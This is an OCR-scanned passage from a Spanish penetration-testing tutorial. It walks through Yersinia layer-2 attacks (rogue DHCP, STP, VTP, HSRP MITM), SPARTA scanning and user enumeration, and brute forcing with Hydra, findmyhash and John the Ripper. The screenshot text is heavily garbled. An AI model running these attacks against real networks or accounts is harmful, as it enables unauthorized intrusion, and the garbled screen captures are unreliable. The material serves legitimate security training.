yersinia protocolo -attack ataque opcionesataque

Donde protocolo corresponde con el protocolo que vamos a atacar, ataque
con un numero que identifica al ataque, y que obtenemos en la pagina del manual
-man- de yersinia, y opcionesataque son una serie de opciones del ataque que
dependen del ataque, y son especificas para cada uno de estos.

El modo de linea de comandos es el mds comodo de utilizar porque es
facilmente scripteable, pero no todos los ataques funcionan desde linea de comandos.
Es, por lo tanto, util; pero no serd el que utilicemos con mds frecuencia.
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Otro modo de lanzar Yersinia es utilizando ncurses:
yersinia -l
Obteniendo la pantalla de Yersinia en consola de texto, que corresponde con:

yersinia 0.7.3 by Slay & tomac - STP mode — [ 03:272:181
RootId Bridgeld Port Iface Last seen

Warning: interface ethl
aJdlt one

Total Packets: 0 STP Packets: 0 MAC Spoofing [X]

En mi opinidn, Yersinia bajo consola con ncurses -el modo cuando se
lanza con la opcidn I- es el modo que mejor funciona. De hecho, a diferencia de
los otros modos, todos los ataques desde este modo funcionan perfectamente. Es
un modo muy prdctico y facil de utilizar, tanto en local como en remoto a través de
consola ssh. Aunque el utilizar las ncurses hace dificil su scripteo si no se conocen
las herramientas apropiadas, esto no significa que no se pueda incluir en scripts; solo
que es necesario hacer uso de herramientas especificas para scriptear aplicaciones
que sean mads potentes, como es el caso del uso de expect.

Cuando entremos en la aplicacion en el modo de consola con ncurses, despues
de arrancar la aplicacion pulsamos enter, y accederemos a la pantalla principal.

Desde la pantalla principal ya tenemos acceso a todas las caracteristicas de
Yersinia; aunque como no usa los cursores en mentis comunes de navegacion, puede
ser confuso el interfaz si no conocemos las teclas. Podemos ver las opciones y las
teclas que las lanzan pulsando la tecla h; al hacer esto, obtendremos la siguiente
pantalla:
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ia 68.7.3 by S5lay & tomac - STP mode
RootId BridgeId Last see

Total Packets: B ] [Bring c C Spoofing [X]

Finalmente, hay un interfaz GTK para Yersinia:

-

Yersinla 0.7.3

File Protocols Actions Options Help

- - -
ﬁ' o pers “ e Bi i ‘ m
Launch attack Edit interfaces Load default List attacks Clear stars Capture Edit mods Exit
Frotocols Packets f COP DHCF 8021Q@ 8&0Z1X DTF HSRF ISL MFLS 5TP VIP Yersinia log
= 1 R
CDF o SIF DIPF MessageType |nterface Count Lastsesn

:
RECN -
o
CTP o
H3RP o
o

oz
Eo
ES
e

Field Value Description
Dynamic Host Configuration Protecel
Sourca MAC D2:48: 33 66:02:5] Dastination MAC FF:FF:F FF:F:FF Extra

SiP 0.0.0.o DIF SPort =151 DPort a7

Op ol Htype ol HLEN g Hops (alc] Xid COooORE59 Secs 02ae Flags B0Ca
cl 0.p0.g.p ¥l g.0.0.p sl p.@.|p.o &l g.0.0.b

CH 02:48:32:66:02:51

03:18:25
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Que lanzamos con:
yersinia -G

En la fecha en la que se escribe esta documentacion, los protocolos que
cubre Yersinia son:

¥ IEEE 802.1Q

V IEEE 802.1X

P Cisco Discovery Protocol (CDP)

P Dynamic Host Configuration Protocol (DHCP)
P Dynamic Trunking Protocol (DTP)

P Hot Standby Router Protocol (HSRP)

W Inter-Switch Link Protocol (ISL)

P Spanning Tree Protocol (STP)

» VLAN Trunking Protocol (VTP)

Los ataques y las opciones contra IEEE 802.1Q son:

CDP DHCP B021G) 80Z.1X DTP HSRP ISL MPLS S5TP VTP

| = P

Yersinia 0.7.3

Choose attack

Description DoS

§ ol sending BOL10 packet Di = \,' m
2 sending §92.1Q double enc. packet Capture Edit mode Exit
) sending §02.1G arp polsoning o

BRP ISL MPLS STP VIP Yersinialog
=

-Interface Count Last seen

Field Value Description

IEEE BO21GE
Source MAC CE:5C:48:15:32:BF Destination MAC FF: FF: FF: FF: FF: FF |

B

VLAN 1 Priority £ CFI €| L2Protol & ale} WLANZ 2 Priority CFI
LZProto2 [alzTale] src IP 10.0.0.1 Dst IP 255.255.255.255|  IP Prot D1

Payload FERSTMNTA

03:20:11

L—
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Los ataques y las opciones contra IEEE 802.1X son:

Choose attack [N -

CDP DHCP B021GQ |8B021X OTP HSRP |SL MPLS STF VTP

Yersinia 0.7.3
(Choose attack

Description Das
‘vl sending 802.1X packet
) Miem 802.1X with 2 interfaces

= b3 B

-

Capture Edit mode Exit

BRP ISL MPLS STF WYTP Yersinia log

fface Count Lastseen

Fileld WValue Description

IEEE 021X~
Source MAC  OC:S@iS5:E2:87:42  Destination MAC | 01:80:c2:00:00:03 |

Wer [01] Type |01 EAPCode [02] EAPd [0a| EAPType |1

EAPInfa I drdres smatl

Los ataques y las opciones contra CDP son:

( Choose attack eee
COPF DHCP 80210 BO21X DTP HSRP ISL MPLS STP VTP
RS Yersinia 0.7.3
Choose attack
Drescription DS
. sending COP packet E'é & hY n
A floading COF table L' Capture Edit mode Exit

I Setting up a virtual device
RP I5L MPLS STP WTP Yersinialog

Field WValue Description

Cisen Discevery Protocol
Source MAC O6: 45; 88 88: 41, 56 Destination MAC | 61 :@O:OC:CC:CC:CCE |Ex1:ra.!

Verslon |Dl ™m !B& Cheekaum coan
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Los ataques y las opciones contra DHCP son:

Choose attack @0
COP DHCP 8021G 8021X DTP HSRP ISL MPLS STP VIP

Tersinia 0.7.3
Choose attack- e

Description Dos

- sending RAW packet Ek - \ m
b sending DISCOVER pagkst Copture  Editmode  Exit

ereating DHCP rogue server

RP ISL MPLS STP WTP Yersini
' sending RELEASE packet ‘ersinia log

ft Lastseen

oK

Field Value Description

Dynamic Host Configuration Protocol
;Saun:e MAC 02; 48, 33: 66, 02; 51 Destination MAC FF FF PR PR PR FF Extra

EIP |0.0.0.0 | DIP |255.255.255.255 SPort |88 | DPot |67

lop |oL| Heype | ©1| HLEN 05 Hops |oo Xid |eocosesa|  Secs  oceo,  Flags | Eoo0

ECl 0.0.0.D ¥l 0.0.0.0 51 J.0.0.0 Gl C.0.e.o

“H 02:43:33:66:02:51!

03:19:46

Los ataques y las opciones contra DTP son:

Choose attack (-
CDP DHCP 80210 8021K DTP HSRP 1L MPLS 5TP VIP
— Yersinia 0.7.3
Choose attack
Dieseription Des&
j zending OTP packet 0; . ~ m
enabling trunking Eapture Edit mode Exit
i BRP ISL MPLS STP VTP Yersinlalog
Count Last seen
Cancel " OK

Field Value Description

Dynamic Trunking Protocel -
Source MAC OC:7CIEB1A6:05:95|  Destination MAC ©1:00: @0 CC:CCiCC|

Version |0L| Neighber-ID | OCTCEBAEDSSS  — Status 03 Type |45

Ciomain
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Los ataques y las opciones contra SRP son:

Choose attack [- NN -]

CDP DHCP BOZ1Q 8021K DTP HSRP| ISL MPLS STP VIP g
e Yersinia 6.7.3
Choose attack LA
Description DeS
‘=) sending raw H5RP packet DE o Y E
_ beeaming ACTIVE router Capture Edit mode Exit

becoming ACTIVE router (MITM)

RP |SL MPLS STP VTP Yersinia log

mst seen

Field Value Description

Het Standby Router Protocol
Source MAC Do 1E:B7:A41:06:23 Destinaton MAC i@l:EGESE!I:G:OD:OEi

SIP | 48.177.65.242 DIF  |224.0.0.2 | sPort [1%8s Dfort

Group e} Resarvad oo Auth iCJ.sccl | VIP 80.126.215,171

Version 00| Opcode |00 Stake 0G| Helle |83 Hold |04 Priorty

Los ataques y las opciones contra ISL son:

Choose attack o0
CDP DHCP 8021G B021X DTP HSRP |ISL MPLS 5TP VTP

(Choose attack

Yersinia 0.7.3

DeserptionDies
g a 0

Capture Edit made Exit

RP ISL MPLS STP VIP Yersinialog

Count Last seen

OK

Field Value Description

Inter-Switch Link Protocol-
Source MAC OE:E].:JE.:?S:DB}E_I! Destination MAC CI_I:OCI:OC:DO:DO:UD|

Type o Liser o] Len apes SNAP REAA HSA COBI0E VLAN

Ras Leale] 5 IP 149.8.9.1 Dt IP 25525525‘3255i Proto el

BFDU &)
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Los ataques y las opciones contra MPLS son:

Choose attack -]

CDP DHCP 8021Q 802.1X DTF HSRP

IsL MPLS STP VTP

Choose attack

Dieseription Dot
=i sending TCP MPLS packet

) sending TCP MPLS with double header

_! sending UDP MPLS packet

! sending UDP MPLS with double header
zending ICMP MPLS packet

sending ICMP MPLS with double header

Yersinia 0.7.3

O A %]
Caplure Edit mode Exit
BRP ISL MPLS STP VTP Yersinia log

Count Last seen

Los ataques y las opciones contr

Cancel| OF
(] Ll
[ -
EN -
Field Value Description
MultiPratocal Label Switching-
Source MAC | 04:0B:20:13:43:75  Destination MAC | FRiFF:FFIFFIFRIFE
Label @ Bxpl |0 | Botoml (1| TM1 o
Label2 a Exp2 a Bottom2 a T2 ¢}
sl [10.0.0.1 SrcPort B85 DsiP  |10.0.0.2 | DstPorr | 1258
Payload | YERSINLA |

a STP son:

Choase attack [- NN -]
CDP DHCP 80210 BOZ1X DTP HSRP ISL MPLS [STP VTP
Choose attack— Xhe o T Yersinia 0.7.3
Description D3
- sending conf BPOU Dl " b m
(! sending ten BPDU | Eapture Edit mode Exit
O Lt AR N [BRP 15L MPLS STP VTP Yersi
- | 1 i
' sending ton BPDUs =4 | ‘ersinia log
) Claiming Root Role || Lastseen
| 2 Claiming Other Role
P Claiming Root Rale with MiTM
Cancel oK
Field Value Description
Spanning Tree Protocal -
Source MAC 682311602 FF0E|  Destination MAC 01:80:C2: 69: 00 00|
id oocel WVer |oo| Type |0 Flags | ©0| Rootld | S080.750FeElsacse)  Pathcost | Booceace
Bridgeld | CBO9.E7CDe0l17cas| Pet  Eoo2 0 Age  |0000|  Max  apld| Hells  ope2|  Fwd
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Los ataques y las opciones contra VTP son:

Choeose attack 200
CDP DHCP 802.1G 802.1X DTP HSRP ISL MPLS STP |VIP R
Yersinia 0.7.3

Choose attack

Description Dos

(s sending VTP packet Di i b 3 m
) deleting all VTP vlans " Capture Edit mode Exit
) deleting one vlan o

) adding one vlan -3_RF ISL MPLS STP Yersinia log

) Catalyst zero day 4 Last seen

Cancel i OK

Field Value Description |
VLAN Truni&lng Protocol
Source MAC 02:C2:0C:7F:8E:F3| Destination MAC 01:00:0C:CC:CC:CC|

Version |@1 Code |C3| Domain

MDS 0DODENO000CI0IC0COC0C0CE00000000 | Llpdater 10.132.58.1

|| Revision | 1 Timestamp | Start value 1

Followers |1 | Sequence |1

03:21:59

4.2 SPARTA

Sparta es un interfaz grafico de varios programas —nmap, sslyze, y nikto,
hydra y nbtscan, y otros muchos-. Mientras que Yersinia es la herramienta para
analizar redes, y lynis es una herramienta especifica para analisis de host en local,
Sparta es la mejor herramienta para andlisis de vulnerabilidades en remoto.

Lo lanzamos con:
sparta

Obteniendo la pantalla:
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i SPARTA 1.0.2 (BETA) = untitled - froot/ oo
File  Help
Scan | Drute
Hosts Services Tools Services.  Scripts  Information  Notes
| Cick here to add |
host(s) to scope

Si ponemos el cursor en el cuadro izquierdo de la pantalla y pulsamos el
boton derecho del ratén, podemos afadir tanto redes -en formato similar al del
nmap-, o hosts. Por ejemplo, si queremos analizar la red 192.168.2.0/24, hacemos:

Add hott(z) ta zeaps o

IP Range | 152.168.2.0/24
g 19208900720 10,04 10 1020 123 4
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Y pulsamos el botén “Add to scope”, apareciendo la pantalla:

SPARTA 1.0.2 (BETA) - untitied - /rootf o090
Fils  Halp
Sean  Brute
Hests Serdces Tool Sorvess Seiripts  Information  Motes
Cliek here to add
host(s) to scope
8
S
| Frogress Tool Fost Start sme End time St
I  nmae (stage 1) 192.158.2.0/24 18 abr 2016 08:02: 26 Running

Y ahora paciencia, que esto tarda;

SPARTA 1.0.2 (BETA) - untitied - froot! o0 0

File Help
S Brute

Hosts Services Tools Services Scrpts  hformation Motes

| b
R

Progress Tonl Hot 5.!.-1 thr- E\d.ﬂ- Status i

T screenshot (B0/tep) 192.168.2.20 18 abr 2015 06:03:16  18abr 2016 06:03:16  Finished

(NN ccreenshot [80/mep) 152.168.2.2 18 abr 2016 06:03:10  18abr 2016 06:03:10  Finkshed

DEEEEEINININNNN  screenshot (80/tep) 19216821 18.abr 2016 06:03:09  18abr 2016 06:03:09  Finished

ITTOTTTITITENTR  «rommnehes [@0eal 145 1RE 3 111 18 abe WVIE DEADNE TR she WA MEOBNE Findehed
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Finalmente obtenemos:

Fla  Hals
Scar  Bnate
Heits  Services Tools

o5 Hust
@ 1932188217 l
@ 192188218
& 192168219

«a T e RN

192168210
150168 212
12168313
1921687 14
192168215

Tool
sereanshot B0/}
sereenshor B0/ep)
servenihot Boftep)

[P ST

|E
[
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También es posible hacer la verificacion directa sobre un host concreto.
Repetimos los pasos indicando la IP de una mdquina, en lugar de una red; y
obtendremos algo como esto:

SPARTA 1.0.2 (BETA] - untitled - /root/

File Help
Sean  Brute
Hosts  Services Tools Sarvices Scripts
os Hest Port Pratocal
. 22 tep
® I5 tp
- ED tep
@ 111 tep
® 137 wdp
@ 139 tp
o 445 tep
& 2049 tp
| & (%
Log
Pragress Toal Host
IO nmap (stage 4) 192,168, 2.20
IR smip-enum-vrfy (25/tcp) 192.168.2.20
NN nmap (stage 3) 192.168.2.20
M crreencher (300end 192 18R 2 M0

Infarmation  Notes  nikte (B0ftep) &

State MName
open ssh
apen smtp
open http
open rpehind
open netbios-ns
apen nethios-szn
apen netbios-ssn
open nfs_acl
Start ime
148 abr 2016 05:06:03
13 abr 2016 05:05:55
18 abr 2016 05:05:55

T4 ahr 2001R 0505 TR

RO

sereenshet (80/tep) ®  smitp-enum-vify {25/tep) @

Version
CpenSSH 6.0pl Debian 4+deb7u (protocol 2.0)
Sendmail 8.14.4/8.14.4/De bian-4
lighttpd 1.4.31
2-4 (RPC #100000)
Microsoft Windows XP netbios-ssn
Samba smbd 3.X {workgroup: TRANTOR)
Samba smbd 3.X [workgroup: TRANTOR)
2-3 (RPC #100227)

End time Status
Running '
Running
18 abr 2016 05:06:03 Finished

1R ahr 20116 0505 3R

Finizhad L
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En el menu superior, a la derecha de “Scan”, tenemos la opcion “Brute”.
Esta opcidn nos permite lanzar ataques de fuerza bruta contra los distintos servicios
remotos, tanto para buscar usuarios, como para buscar claves de usuarios. El ataque
por fuerza bruta solo es interesante si tenemos un diccionario -o al menos, un listado
de usuarios- para comenzar. La forma de obtener esto es mediante las herramientas
especificas por protocolo de andlisis de vulnerabilidades. Hay muchas, y no podemos
entrar en detallarlas todas por razones tanto de tiempo como espacio. Pero veremos
como utilizarlas.

Para utilizar una herramienta especifica, nos ponemos en un servicio,
pulsamos el boton derecho, y nos aparecen todas las herramientas que se pueden
utilizar contra ese servicio en concreto. Por ejemplo, si seleccionamos el servicio de
correo y seleccionamos después la herramienta smtp-enum-vrfy, obtendremos:

P y

SPARTA 1.0.2 (BETA) - untitled - froot/ (- - ]
File Help
Scan  Brute
Hosts  Servicas  Toals Target Port R TTeTTeTer—y
| 192.168.2.20: ROOT exists
Toel e 192.168.2 200 auahi exists
ditbuster 192.168.2.20 58T tcp 192,168,2, 20; backup exists
192.158.2. 20 bin axists
hydra 192.166.2.20 5itep 192.168.2.20; daemon exists
nbtscan 192.168.2.20: ftp exists
192.168.2.20: gnatz exists
nikte 192.168.2.20: games exists
T rn 192.168.2.20: hplip exists
192,.168.2.20: haldasmon exists
192.168.2.20: irc exists
selyze 192.168.2.20: libuuid exists
192.168.2.20: list exists
webslayer 192.168.2.20: lp exists
192.168.2.20: mail exists
192.168.2,20: man exists
192.168.2.20: messagebus exists

192 168.2. 2 news avists

Progress Teol Host Start time End time Status :
I webslayer (80/tcp) 192.168.2.20 18 abr 2016 05:13:13 18 abr 2016 05:13:14  Crashed '
IIE  dirbuster (80/tcp) 1521662 20 18 abr 2016 05:12:16 18 abr 2016 05:13:03 Finished
I nbtscan (137 udp) 152.168.2.20 18 abr 2016 05:11:31 18 abr 2016 05:11:32  Finished
IR huedes (250enl 182 TRR 2 20 TR abr WVIA N5 TR 2R 1R abe 201A O510-3R Finiehed o

—

Es decir, un listado de usuarios que existen en la mdquina; por lo que
ya tenemos por dénde comenzar. Otros ejemplos de herramientas los tenemos
si pulsamos sobre el protocolo SMB y seleccionamos la herramienta nbtscan;
obteniendo algo como:
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SPARTA 1.0.2 {BETA) - untitied - fraot/ 000
File Help
Scan  Brute
Hosts  Serviees Tools Target Port Name Sarvice Type -
Tool g e En ALMACEN  Workstation Service
dirbuster ALMACEN Massenger Service
ALMACEN File Server Service
hydra ALMACEN Workstation Service
e sl

ALMACEN File Server Service
nikto <1<1__MSBROWSE__=) Master Browser
screenshooter
TRANTOR Master Browser

smitp-enum-vrfy TRANTOR Browser Service Elections
sslyza TRANTOR Domain Mame

TRANTOR Master Browser
webslayer TRANTOR Browser Sarvice Elections

TRANTOR Domain Mame

Adapter address: 00:00:00:00:00:00

e
Frogress Tool Host Start ime End time Status 2
DI vwebslayer (80/tzp) 192.158.2.20 16 abr 2016 05:13:13 18 abr 2016 05:13:14  Crashed l
TTAE  difbuster (80/tp) 192.168.2.20 18 abr 2016 05:12:16 18 abr 2016 05:13:03  Finished
I nbtscan (137fudp) 192.168.2.20 18 abr 2016 05:11:31 18 abr 2016 05:11:32 Finished
PR hoedra (95 end 192 1RA 2 N TR ahe VIR N5-10 76 TR ahr IR N5 10076 Finichard ®

También podemos buscar ficheros concretos en la aplicacion web que no
sean directamente accesibles a traves de enlace. Seleccionamos el servicio web, y
activamos la herramienta dirbuster, obteniendo:
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[ SPARTA 1.0.2 (BETA) - untitled - /roots o )
File. Help
Sean  Brute
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hitp: /192.168.2, 20:80/
- |
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nethios-ns
Number Of Threads —ff————— 10 Threads | Ga Faster
nethias-ssn
e Select sranming ype: 4 List based brute forze () Pure Brute Foroe
File with list of dirs/filas
miockmgr & Brmvse_” @ List Info
rpebind
~har set |, A-ZN-0%20 =| Minlergts |1 Mau Lerghh
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ssh Select starting options: (v} Stendard start point ) URL Fuzz
s [#] Brute Force Dirs [#] Be Recurshe Dir to start with [/ |
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AL o fuzz - test.htmiturd={dir}. asp
Log |
— = — —
P at 2
~= | [Elea ] = |
Plaase complats the tast details
R hydra (25/tep) 192.168.2. 20 18 abr 2016 05:10:26 18 abr 2015 05:10:25 Finished
TR Faides (2580R) 182 1RA T M0 A& skr 2014 AR1073 AR she WA 081013 Finkehad

T

Seleccionamos las opciones de busqueda, un fichero con los directorios y
ficheros que queremos buscar, y lanzamos la busqueda.

Como estas, tenemos decenas de aplicaciones que podemos lanzar desde
Sparta. Eso hace a Sparta una herramienta fundamental para hacer un test de intrusion
de forma rapida y eficiente. Podriamos dedicar medio centenar de paginas a detallar
todo lo que acompana a Sparta, pero con lo visto aqui, lo recomendado es probar la
aplicacion y “jugar” un poco con ella en una red local propia, para ver qué se puede
llegar a hacer con esta herramienta.

4.3 PROBANDO TODO LO APRENDIDO

Una forma que tenemos de probar lo aprendido en este capitulo es empleando
la imagen Metasploitable, que se puede descargar de la Web:

https://information.rapid7.com/metasploitable-download.html

Y que nos permite verificar todo lo que hemos visto hasta ahora contra un
sistema que tenga exploits documentados.



ATAQUES A CONTRASENAS

Cuando la gente piensa en ataques informadticos, la gente piensa en un
monitor de fdsforo verde, con una fuente grandisima, en la que se prueban muchas
contrasefias, y van apareciendo los nimeros uno a uno. Hasta que cuando solo falta
uno, llega el “bueno” y para la operacidn.

Eso es una version burda y Hollywoodense de un ataque de contrasefias por
fuerza bruta. Y no, tal como estd planteado no funciona. Y no funciona porque en las
peliculas las claves se atinan “digito a digito”, y cada vez que aciertas uno, estds mds
cerca de la clave. En el mundo real, o atinas la clave entera, o no hay nada que hacer.

Sin embargo, si hay atajos a la fuerza bruta: la ingenieria social es el primer
atajo, y mas importante. Porque, de entrada, alimenta a todos los demds. Fechas
de nacimiento, nombres de hijos o de mascota. O peor: post-its con la clave en el
monitor, o debajo del teclado; esas claves "tan seqguras" porque las hacen los de
sistemas con muchos caracteres, nimeros y simbolos. Que el usuario no es capaz
de recordar, y mantiene de forma sistemdtica anotada en un papel. Un auditor de
seguridad con buena memoria, recordando una clave que ha visto solo una vez en un
post-it, pasa sin problemas el problema de la autentificacion. Aqui un buen curso de
memotécnia es clave.

Existe una segunda forma: el ataque por diccionario de claves. Bdsicamente
es un ataque por fuerza bruta dirigido; es decir, en el que no se va a ciegas, sino
que se utiliza de entrada una serie de palabras basadas en diccionarios de idiomas,
nombres, expresiones regulares de fechas, algunas formas geomeétricas comunes de
teclado e incluso todo aquello que podamos recabar a través de ingenieria social.
Por este método caen rdpido los usuarios con clave paco62 -historia real-, o
manololuisa65 -historia real-. Claves mads retorcidas también caen; pero las claves
realmente complicadas, no caen por este sistema.
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Una tercera forma es el ataque por rainbow tables. Una rainbow table es,
sobresimplificando, un diccionario de claves en el que en lugar de almacenar las claves
probables, almacenamos la traduccidn de la clave al mecanismo de almacenamiento o
de transmision precomputada. Esto suena mds confuso de lo que realmente es. Cuando
se almacenan usuarios y claves, no se almacenan las claves sin cifrar. Se almacenan
cifradas a traves de una funcion hash, como pueda ser MD5 o SHA. Este cifrado es
lento; lo que hace que el ataque por diccionario de claves no sea factible en tiempo
razonable. La solucion es precomputar los hashes de un diccionario. Este mecanismo
funciona si en algiin momento tenemos acceso a las claves cifradas. Pero hay forma de
limitar la eficiencia de este ataque: utilizando salts, que basicamente es un componente
aleatorio que se le afade a la clave antes de pasarle el hash. En la prdctica, ralentiza
sensiblemente la autentificacion legitima, pero por debajo de lo perceptible de un
humano. Si se intenta un ataque por diccionario de claves, se dispara el coste en tiempo.
Y si se ataca por rainbow tables, se dispara el coste en espacio.

Finalmente, la cuarta y tltima forma es por vulnerabilidades especificas de la
aplicacion o el protocolo. Aqui va a dar igual que haya o no salt, y lo complicada que
sea la contrasena. Si pillamos un servidor al que no le han parcheado el Heartbleed,
por poner un ejemplo, vamos a terminar entrando por mucho SSL y clave retorcida
que nos pongan.

Como veremos mas adelante, los ataques a redes Wifi se terminan reduciendo
a ataques a contrasenas. Sin embargo, vamos a ver algunas herramientas que permiten
hacer ataques locales y remotos a contrasenas.

9.1 FINDMYHASH

Findmyhash es un script en Python especializado en calcular de forma
eficiente hashes. Si tenemos acceso a la tabla de hashes —por ejemplo, porque alguien
se ha dejado un MySQL sin clave en una mdquina de prueba- podemos utilizar
findmyhash scripteado para encontrar la clave concreta de algiin usuario de MySQL.
Si encontramos la clave de un usuario utilizado por una aplicacion, podemos cantar
bingo. Y si hemos encontrado una clave de un usuario, es probable que o esa clave o
una parecida la utilice para su cuenta ssh.

Los algoritmos de hash que soporta findmyhash son:

P MD4 segin RFC 1320

P MD5 segin RFC 1321

P SHAI seguin RFC 3174 y FIPS 180-3
P SHA?224 segin RFC 3874 y FIPS 180-3
P SHA256 segun FIPS 180-3
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P SHA384 segin FIPS 180-3

P SHAS512 segun FIPS 180-3

» RMD160, segtn RFC 2857

P MYSQL, en concreto los hashes de las versiones de MySQL 3,4y 5

» LDAP MDS5; es decir, LDAP cifrado con MD5 Base64

» LDAP SHALI; es decir, LDAP cifrado con SHA1 Base64

P CISCO7, que corresponde con las claves cifradas de Cisco I0S 7

P JUNIPER, que corresponde con las claves cifradas de hardware de red de
Juniper Networks

P GOST, segin RFC 5831

» WHIRLPOOL, segin ISO/IEC 10118-3:2004

P LM, que es uno de los hashes de Windows

P NTLM, que es el otro de los hashes de Windows

Respecto a estos dos ultimos, probablemente nos interese utilizar otra
utilidad, denominada mimikatz, si vamos a trabajar en entornos Windows. Mads
adelante vamos a hablar de ella.

La forma de utilizarlo es:

findmyhash algoritmo -h valordehash

Donde algoritmo corresponde con uno de los algoritmos anteriormente
listados, y valordehash seria el valor del hash que queremos craquear. Si afadimos
la opcidn -g, también busca el hash en google; lo que, aunque parezca increible, a
veces funciona.

Un ejemplo de uso de findmyhash es:

findmyhash MD5 -h 916f4c31aaa35d6b867dae9a7f54270d -g

Estd a punto de salir la version 2 de esta aplicacidn, que incluye andlisis
multihebra, opciones de pausa y continuar después de pausa, y reconocer el algoritmo
a partir del valor del hash.

9.2 HYDRA

Dentro de las herramientas de fuerza bruta, una de las mds ttiles y practicas
es Hydra. Principalmente, porque soporta mds de medio centenar de protocolos;
ademas de los genéricos, gran cantidad de protocolos muy especificos. Los protocolos
contra los que Hydra puede actuar son:
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afp cisco cisco-enable cvs

firebird ftp http-get http-head

http-proxy https-get | https-head https-form-get

https-form-post icq imap-ntlm imap

ldap?2 ldap3 mssql mysql

ncp nntp oracle-listener pcanywhere
penfs pop3 pop3-ntlm | postgres
rexec rlogin rsh sapr3
sip smb smbnt smtp-auth
smtp-auth-ntlm snmp socksb ssh2
svn teamspeak | telnet vmauthd
vne

Esta no es la unica razoén; cuenta con un interfaz grafico extremadamente
sencillo de usar. Nos limitamos a indicar qué queremos atacar, el fichero diccionario
de usuarios, el fichero diccionario de claves, y arrancamos el ataque.

Lanzamos el interfaz grafico xHydra con:

xhydra

Aparece la primera pantalla:

2
xHydra e o o
Salir
Target | Passwords | Tuning | Specific | Start
Target
® [Single Target |127.0.0.1 |
(O Target List | |
| Prefer IPV6
Port o &
Protocol v
Qutput Options
[l UseSSL [ Use old SSL ] Be Verbose
| Show Attempts k- 1 Debug
Ol COMPLETE HELP T Service Module Usage Details
\avdra -l yourname o vourpass -1 18 127.0.0.1 mysal .! 1
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En la que indicamos o la mdquina que queremos analizar, o un listado de
objetivos. Indicamos si queremos hacerlo por IPv4 -opcidén por defecto-, o por
IPv6 marcando el cuadro. Indicamos también el puerto y el protocolo que queremos
analizar, y una serie de opciones adicionales:

P Use SSL: Lo marcamos si queremos hacer las pruebas a través de SSL.

P Show attemps: Muestra los intentos en la lengteta de inicio.

P Be verbose: Muestra mucha mds informacion en la lengtieta de inicio.

P Debug: Muestra informacion de depuracion en la lengiieta de inicio.

P Después entramos en la lengtieta “passwords”, obteniendo:

xHydra © @ 0
Sallr

Target | Passwords | Tuning | Specific  Start
Username

® Usemname !‘,'Durnarne |
T Username List | |
"] LOGP arpund users _| Protocol does not require usernames
Password
@ Password YOUrpass
() Password List
[ Generate 1:1a

Colon separated file

[ Use Colon separated file

[21 Try login as password  [1 Try empty password [ Try reversed login

ydra -1 YOUMAme -p yourpass -1 16 127.0.0.1 WSHE

Aqui indicamos el usuario, o un fichero con un listado de usuarios; la clave,
o un fichero con un listado de claves, el criterio de generacion de claves a partir del
diccionario, y las opciones adicionales:

P Colon separated file: Aqui podemos indicar un fichero en el que estaran
usuarios y claves, separados por comas, para trabajar con ese fichero en
lugar de con las opciones anteriores.

P Try login as password: Afiade el nombre de login al diccionario de claves
para probar combinaciones que también involucren el nombre del login.

P Try empty password: Prueba también con la clave vacia, a ver si algin
usuario no ha definido clave.
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Si pasamos a la lengtieta “Tuning”, veremos la pantalla:

-

xHydra e 0 O
Salir

Target | Passwords Tuning  Specific Start
Performance Options

Number of Tasks :

Timeout 3 [

["] Exit after first found pair (per host)
[ Exit after first found pair (global)

| Do not print messages about connection errors
Use a HTTP/HTTPS Proxy

@ No Proxy ) HTTP Method ) CONNECT Method
Proxy http://127.0.0.1:8080
(] Proxy needs authentication
k
Username yourname
Password yourpass

h ra -1 yourname -p yourpass -t 16 12?.b.ﬂ.1m s'l

Esto permite definir una serie de propiedades que mejoraran el rendimiento de
xHydra. Es importante que recordemos que estos son siempre maximos: la naturaleza
de algunos servicios puede obligar a reducir el nimero de hebras concurrentes.

Las opciones que encontramos son:

P Number of Tasks: Numero de hebras concurrentes. El valor por defecto
es 36 hebras.

P Timeout: Valor de timeout para la respuesta de un objetivo. El valor por
defecto es 30 segundos.

W Exit after first found pair: xHydra da el analisis por terminado cuando
encuentra el primer par login/password que funciona.
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Ademds, es en esta lengtieta donde podemos decidir si usamos un proxy; las
opciones son:

P No proxy / HTTP Method / CONNECT Method: si no tenemos proxy, o
si nos conectamos por HTTP o por CONNECT.

W Proxy: Direccion del proxy, en formato http://IP:puerto

P Proxy needs authentication: Si el proxy necesita autenticacion.
P Username: Usuario en el proxy.

P Password: Clave en el proxy.

En la lengiieta Specific tenemos algunos parametros especificos de algunos
protocolos:

xHydra @00

Salir

Target | Passwords Tuning Specific | Start

http / https url
[rfoo.-’bar.-‘protected.html

Cisco Enable, Login for Cisco device
‘passwnrd

LDAP DN

[dn-scope

SMB

[ local accounts [} domain accounts [ Interpret passes as NTLM hashes
sapr3 client id

g
CVS/SVN Repository

‘trunk

|
SNMP
| 3:SHA:AES:READ

Telnet - Successful Login String A

hydra -1 yourname -| ss -t 16 127.0.0.1
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Y finalmente en “Start” tenemos las opciones de arranque, parada, grabar la
salida y limpiar la ventana de salida —por ese orden-.

i B

xHydra o0
Salir
Target Passwords Tuning Specific Start
Qutput
I
‘Star'c-J ;;op_‘ lSaue Output| | Clear Output
\lhydra -1 yourname —p yourpass -t 16 127.0.0.1 mysal )

3.3 JOHN THE RIPPER

No podemos terminar tratar el tema de aplicaciones de Kali para ataques a
contrasefias sin mencionar a John the Ripper. Muy veterano, muy utilizado y atn
muy util y muy actual.

John the Ripper es el programa de ataque de claves sin conexidn por
excelencia. Su version Jumbo es capaz hasta de hacer uso de CUDA o de OpenCL
para poder atacar claves con mayor eficiencia. Soporta multitud de hashes: MDS5,
SHA1, LM y NTLM, entre otros; es decir, los mds comunes. Necesitaremos, €so
si, el fichero con los hashes; ya que John the Ripper como hemos dicho actia sin
conexion: no se conecta a un servidor directamente, sino solo prueba claves, las
codifica como hashes, y verifica si coincide con el hash almacenado.
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John the Ripper se puede manejar a través de un interfaz grafico, que abrimos
con:

johnny

Obteniendo la ventana:

Johnny 09

File Attack Passwords Help

=
%

W . 1. R ¥ T H
BSS PASSW

Open passwordfile  Opensession | Startnew alfack Resume attack Pause attack Guess

Filter | |Starl:s a new attack session using the defined oplion5|=r.l~-':d Showr only cracked

Passwords

sssword | Copy  Export

—_—
Options

il
Statistics

Settings

—

Console log

Pulsando en el icono “Options” de la barra de la izquierda, podemos
seleccionar el modo de ataque. El modo por defecto hace primero el modo “Single
Crack”, después el “Wordlist” y finalmente el “Incremental”. Desde estas lengiietas
podemos alterar el comportamiento de estos modos, y especificar modos adicionales.

Si entramos en “Single Crack” vemos las opciones de este modo:
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Statistics  Attack

Johnny

